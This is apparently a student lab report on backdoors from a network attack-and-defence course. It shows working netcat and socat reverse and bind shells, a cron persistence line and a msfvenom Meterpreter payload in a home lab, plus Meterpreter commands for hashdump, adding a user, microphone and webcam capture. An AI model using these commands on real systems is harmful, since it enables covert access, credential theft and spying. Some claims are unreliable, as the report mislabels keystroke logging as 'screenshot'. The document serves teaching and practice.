20155337 《網絡對抗》 Exp2 後門原理與實踐
一、基礎問題回答
- 例舉你能想到的一個後門進入到你系統中的可能方式?
在Unix裡,login程式通常用來對telnet來的使用者進行密碼驗證. 入侵者擷取login.c的原代碼并修改,使它在比較輸入密碼與存儲密碼時先檢查後門密碼. 如果使用者敲入後門密碼,它将忽視管理者設定的密碼讓你長驅直入. 這将允許入侵者進入任何帳号,甚至是root.由于後門密碼是在使用者真實登入并被日志記錄到utmp和wtmp前産生一個通路的, 是以入侵者可以登入擷取shell卻不會暴露該帳号. 管理者注意到這種後門後, 便
用"strings"指令搜尋login程式以尋找文本資訊. 許多情況下後門密碼會原形畢露.入侵者就開始加密或者更好的隐藏密碼, 使strings指令失效. 是以更多的管理者是用MD5校驗和檢測這種後門的.
- 例舉你知道的後門如何啟動起來(win及linux)的方式?
最著名的後門程式,該算是微軟的Windows Update了。Windows Update的動作不外乎以下三個:開機時自動連上微軟的網站,将電腦的現況報告給網站以進行處理,網站通過Windows Update程式通知使用者是否有必須更新的檔案,以及如何更新。如果我們針對這些動作進行分析,則“開機時自動連上微軟網站”的動作就是後門程式特性中的“潛伏”,而“将電腦現況報告”的動作是“搜集資訊”。是以,雖然微軟“信誓旦旦”地說它不會搜集個人電腦中的資訊,但如果我們從Windows Update來進行分析的話,就會發現它必須搜集個人電腦的資訊才能進行操作,所差者隻是搜集了哪些資訊而已。
- Meterpreter有哪些給你映像深刻的功能?
-
特色功能1:快速提權
Getsystem指令快速提權
實在沒有比這個簡單的了
一條指令你就擁有了System權限
Meterpreter會自己嘗試用多種方法讓你獲得System權限
-
特色功能2:Hashdump
運作這個指令:run post/windows/gather/hashdump
一條指令你就能夠獲得Windows的Sam 資料庫裡的内容
就是經過加密的使用者名和密碼
-
特色功能3:直接打開3389
Getgui指令是Meterpreter新添加的指令
這個指令能夠讓你輕松的在目标系統上打開3389遠端管理
這條指令有兩個用法:run getgui -e(僅僅是打開遠端管理)
run getgui -u hacker -p s3cr3t(打開遠端管理并且創造一個新的使用者名為Hacker密碼為s3cr3t的帳号)
-
特色功能4:網絡嗅探
Meterpreter擁有非常強大的網絡嗅探能力
它能夠不在目标系統上安裝任何驅動的情況下進行網絡嗅探
而且它還聰明到了自己的流量要被忽略掉
特色功能5:網絡中繼
往往入侵區域網路黑客碰到的最大困難時無法穿過NAT
現在有了Meterpreter就輕松了
Meterpreter能夠讓一台你已經入侵的電腦變成中繼,來入侵同一個區域網路裡的其他電腦
特色功能6:截屏
截屏看到對方電腦上正在做什麼
- 如何發現自己有系統有沒有被安裝後門?
沒有經過免殺處理的後門程式可能很容易就被殺毒工具掃出來,不過一般現在這樣的後門也很少了;
檢查防火牆開啟的端口和它對應的程序,如果不是系統預設開啟的端口都有嫌疑,找到對應的程序,對其進行抓包分析;
下載下傳專門的監控軟體,對作業系統中的程序進行監控,看是否存在異常。
二、常用後門工具實踐
Windows獲得Linux Shell
- 在Windows下,先使用
指令檢視本機ipconfig
IP:10.1.1.141
20155337 《網絡對抗》 Exp2 後門原理與實踐 - 使用
程式監聽本機的ncat.exe
端口:5337
- 在Kali環境下,使用
:nc指令的-e選項反向連接配接Windows主機的5337端口
- Windows下成功獲得了一個Kali的shell,運作ls指令如下:
Linux獲得Windows Shell
- 過程與之前的類似,在Kali環境下用
檢視IP:ifconfig
20155337 《網絡對抗》 Exp2 後門原理與實踐 - 使用nc指令監聽5337端口:
- 在Windows下,使用ncat.exe程式的-e選項項反向連接配接Kali主機的5337端口:
- Kali下可以看到Windows的指令提示,可以輸入Windows指令:
20155337 《網絡對抗》 Exp2 後門原理與實踐 - 使用nc傳輸資料
20155337 《網絡對抗》 Exp2 後門原理與實踐 - Windows下監聽5337端口:
20155337 《網絡對抗》 Exp2 後門原理與實踐 - Kali下連接配接到Windows的5337端口:
建立連接配接之後,就可以傳輸資料了,這裡傳輸的是字元串,相當于兩台主機在聊天,也可以用重定向操作符來傳輸檔案:
實驗内容
使用netcat擷取主機操作Shell,cron啟動
- 先在Windows系統下,監聽5337端口:
20155337 《網絡對抗》 Exp2 後門原理與實踐 -
指令檢視crontab指令的幫助文檔,從文檔中我們可以知道crontab指令可以用于設定周期性被執行的指令。該指令從标準輸入裝置讀取指令,并将其存放于crontab檔案中,以供之後讀取和執行。man crontab
20155337 《網絡對抗》 Exp2 後門原理與實踐 - 用
指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行:用crontab -e指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行crontab -e
- 在最後一行添加31 * * * * /bin/netcat 192.168.1.103 5337 -e /bin/sh,意思是在每個小時的第31分鐘反向連接配接Windows主機的5337端口,設定成31的原因是我當時的時間是13點29,為了能立馬看到效果,是以我将時間設定在了2分鐘以後:
20155337 《網絡對抗》 Exp2 後門原理與實踐 - 當時間到了13點31時,此時已經獲得了Kali的shell,可以輸入指令(如果在這之前輸入指令,螢幕上不會有顯示,但是等到了31分時會立馬顯示出來):
使用socat擷取主機操作Shell, 任務計劃啟動
基礎知識
socat是ncat的增強版,它使用的格式是
socat [options] <address> <address>
,其中兩個address是必選項,而options 是可選項。
socat的基本功能就是建立兩個雙向的位元組流,資料就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了資料的流向,而資料則可以有許多不同的類型,指令中也就相應需要許多選項對各種不同的類型資料流進行限定與說明。
實踐過程
-
在Windows系統下,打開控制台->管理工具->任務計劃程式,建立任務,填寫任務名稱後,建立一個觸發器:
在操作->程式或腳本中選擇你的socat.exe檔案的路徑,在添加參數一欄填寫
tcp-listen:5337 exec:cmd.exe,pty,stderr
,這個指令的作用是把cmd.exe綁定到端口5337,同時把cmd.exe的stderr重定向到stdout上:
建立完成之後,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發現之前建立的任務已經開始運作:
20155337 《網絡對抗》 Exp2 後門原理與實踐
此時,在Kali環境下輸入指令
socat - tcp:192.168.1.103:5337
,這裡的第一個參數-代表标準的輸入輸出,第二個流連接配接到Windows主機的5337端口,此時可以發現已經成功獲得了一個cmd shell:
使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到主機并運作擷取主機Shell
輸入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.128 LPORT=5337 -f exe > 2015337_backdoor.exe
生成後門程式:
通過nc指令将生成的後門程式傳送到Windows主機上:
在Kali上使用msfconsole指令進入msf控制台,使用監聽子產品,設定payload,設定反彈回連的IP和端口:
在msf的指令下輸入指令
use exploit/multi/handler
,payload設定指令
set payload windows/meterpreter/reverse_tcp
,繼續設定IP(此處設定虛拟機的Linux的IP位址)和端口
Linux使用exploit指令開始監聽,此時在Win上執行後門程式。
打開Windows上的後門程式:
此時Kali上已經獲得了Windows主機的連接配接,并且得到了遠端控制的shell:
錄音功能:record_mic
拍照功能:webcam_snap
拍攝視訊功能:webcam_stream
記錄擊鍵功能:screenshot
提權:getuid以及getsystem